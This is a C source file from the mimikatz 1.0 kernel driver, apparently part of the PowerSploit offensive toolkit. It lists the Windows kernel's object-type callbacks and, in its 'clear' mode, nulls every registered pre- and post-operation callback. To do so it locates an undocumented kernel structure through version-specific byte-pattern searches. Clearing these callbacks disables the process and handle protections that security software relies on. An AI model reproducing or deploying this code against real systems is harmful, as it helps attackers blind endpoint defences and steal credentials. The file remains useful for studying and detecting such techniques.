PowerSploit/Exfiltration/mimikatz-1.0/driver/notify_object.c

173 lines
6.1 KiB
C

#include "notify_object.h"
POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL;
const WCHAR *procCallToName[] = {
L"Dump ",
L"Open ",
L"Close ",
L"Delete ",
L"Parse ",
L"Security ",
L"QueryName ",
L"OkayToClose",
};
NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif);
}
NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif);
}
NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action)
{
NTSTATUS status;
ULONG i, j;
POBJECT_DIRECTORY_ENTRY monEntree;
POBJECT_TYPE monType, monTypeDecal;
PVOID * miniProc;
POBJECT_CALLBACK_ENTRY pStruct;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n");
if(NT_SUCCESS(status))
{
status = getObpTypeDirectoryObject();
if(NT_SUCCESS(status))
{
for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++)
{
if((*ObpTypeDirectoryObject)->HashBuckets[i])
{
for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry)
{
if(monType = monEntree->Object)
{
if(INDEX_OS < INDEX_VISTA)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE));
if(action == ListNotif)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name));
for(j = 0; (j < 8) && NT_SUCCESS(status); j++)
{
miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j
#ifdef _M_IX86
- ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0)
#endif
);
if(*miniProc)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
if(INDEX_OS >= INDEX_VISTA)
{
if(INDEX_OS < INDEX_7)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK));
else if (INDEX_OS > INDEX_7)
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks
for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink)
{
if(pStruct->PreOperation || pStruct->PostOperation)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);;
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
if(action == ClearNotif)
{
pStruct->PreOperation = NULL;
pStruct->PostOperation = NULL;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n");
}
}
}
}
}
}
}
}
}
}
return status;
}
NTSTATUS getObpTypeDirectoryObject()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84};
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3;
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3;
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3;
#elif defined _M_IX86
UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84};
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1;
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
#endif
PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
UNICODE_STRING maRoutine;
if(ObpTypeDirectoryObject)
{
retour = STATUS_SUCCESS;
}
else
{
RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType");
if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
{
refFin = refDebut + PAGE_SIZE;
if(INDEX_OS < INDEX_8)
{
if(INDEX_OS < INDEX_VISTA)
offsetTo = OFFS_WNT5_Object;
else
{
offsetTo = OFFS_WNO8_Object;
#ifdef _M_X64
refFin = refDebut - PAGE_SIZE;
#endif
}
}
else
offsetTo = OFFS_WIN8_Object;
retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo);
}
}
return retour;
}